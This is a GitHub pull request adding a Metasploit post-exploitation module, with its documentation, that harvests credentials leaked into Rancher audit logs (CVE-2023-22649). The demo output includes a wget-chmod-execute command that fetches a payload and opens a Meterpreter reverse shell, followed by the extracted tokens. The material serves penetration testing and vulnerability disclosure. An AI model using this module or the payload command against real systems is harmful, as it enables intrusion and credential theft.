Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

new post module: rancher audit logs sensitive information leak (CVE-2023-22649) #18962

Merged
merged 2 commits into from Apr 10, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
121 changes: 121 additions & 0 deletions documentation/modules/post/linux/gather/rancher_audit_log_leak.md
@@ -0,0 +1,121 @@
## Vulnerable Application

Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
contain a vulnerability where sensitive data is leaked into the audit logs.
Rancher Audit Logging is an opt-in feature, only deployments that have it
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.

Tested against rancher 2.6.0 and 2.8.1.

### Install

Run the following docker command:
`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0`
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I had trouble getting this to work and ended up changing the version number to 2.8.1. It was definitely an issue with the docker image though and not the module.


You'll now need to grab the install key via `docker logs`: `docker logs <docker_id> 2>&1 | grep "Bootstrap Password:"`

Lets now add some data for the logs:

1. Click Cluster Management
1. Select Cloud Credentials:
1. Click the hamburger in the top left corner
1. Select Cluster Management
1. Click Cloud Credentials, and Create
1. Pick Digital Ocean
1. Fill in random data, it doesn't have to validate and be a live account
1. Click Create. It will fail, but the audit logs we need have been written
1. Pick Amazon
1. Fill in random data, it doesn't have to validate and be a live account
1. Click Create. It will fail, but the audit logs we need have been written
1. Click your user icon in the top right corner
1. Select Accounts & API Keys
1. Click Create API Key
1. Give it a name and click create. Write down these values
1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail):
`curl -H "X-Api-Auth-Header: <your bearer token>" -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters`

## Verification Steps

1. Install the application and generate data
1. Start msfconsole
1. Get a shell
1. Do: `use post/linux/gather/rancher_audit_log_leak`
1. Do: `set session [#]`
1. Do: `run`
1. You should get a table of leaky fields found

## Options

### LOGFILE

The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log`

## Scenarios

### Rancher 2.6.0 on Docker

```
[*] Processing rancher_logs.rb for ERB directives.
resource (rancher_logs.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (rancher_logs.rb)> set target 7
target => 7
resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (rancher_logs.rb)> set lhost 172.18.0.1
lhost => 172.18.0.1
resource (rancher_logs.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Using URL: http://172.18.0.1:8080/zpJT4e2V
[*] Server started.
[*] Run the following command on the target machine:
wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000
```

```
resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak
resource (rancher_logs.rb)> set session 1
session => 1
resource (rancher_logs.rb)> set verbose true
verbose => true
msf6 post(linux/gather/rancher_audit_log_leak) >
msf6 post(linux/gather/rancher_audit_log_leak) > run

[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt
[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs
[+] Found X-Amz-Security-Token FINDME
[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token
[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
[+] Leaked Information
==================

Field Value Location
----- ----- --------
Username admin Requests
X-Amz-Security-Token FINDME requestHeader
X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader
X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader
X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader
2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader
CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None

[*] Post module execution completed
msf6 post(linux/gather/rancher_audit_log_leak) >
```
122 changes: 122 additions & 0 deletions modules/post/linux/gather/rancher_audit_log_leak.rb
@@ -0,0 +1,122 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rancher Audit Log Sensitive Information Leak',
'Description' => %q{
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
contain a vulnerability where sensitive data is leaked into the audit logs.
Rancher Audit Logging is an opt-in feature, only deployments that have it
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.

Tested against rancher 2.6.0.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],
[ 'CVE', '2023-22649']
],
'DisclosureDate' => '2024-02-08',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_advanced_options [
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
register_advanced_options [
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
register_options [

I know this is unlikely to be changed, but in the event it needs to be changed, users should see it. I'd also be fine if this got left as an advanced option and the warning message contained a reference to changing the advanced option.

OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])
]
end

def run
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])

log = read_file(datastore['LOGFILE'])
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')
print_good("Rancher log saved to: #{loot}")

usernames_found = []
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])

log.each_line do |line|
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']
leaky_response_headers = ['X-Api-Set-Cookie-Header']
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']

json_line = JSON.parse(line)

if json_line.key? 'requestHeader'
leaky_request_headers.each do |leaky_field|
next unless json_line['requestHeader'].key? leaky_field

secret = json_line['requestHeader'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} #{secret}")
table << [leaky_field, secret, 'requestHeader']
end
end

if json_line.key? 'responseHeader'
leaky_response_headers.each do |leaky_field|
next unless json_line['responseHeader'].key? leaky_field

secret = json_line['responseHeader'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field}: #{secret}")
table << [leaky_field, secret, 'responseHeader']
end
end

if json_line.key? 'requestBody'
leaky_request_body.each do |leaky_field|
next unless json_line['requestBody'].key? leaky_field

secret = json_line['requestBody'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} in #{secret}")
table << [leaky_field, secret, 'requestBody']
end
end

if json_line.key? 'responseBody'
leaky_request_body.each do |leaky_field|
next unless json_line['responseBody'].key? leaky_field

secret = json_line['responseBody'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} in #{secret}")
table << [leaky_field, secret, 'responseBody']
end
end

usernames = json_line.dig('user', 'extra', 'username')
next if usernames.nil?

usernames_found += usernames
end

usernames_found.uniq.each do |username|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Any reason not to store these directly?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

store them as in creds? if so, because it's only a username and from my memory we don't store just usernames

table << ['Username', username, 'Requests']
end

print_line
print_line(table.to_s)
end
end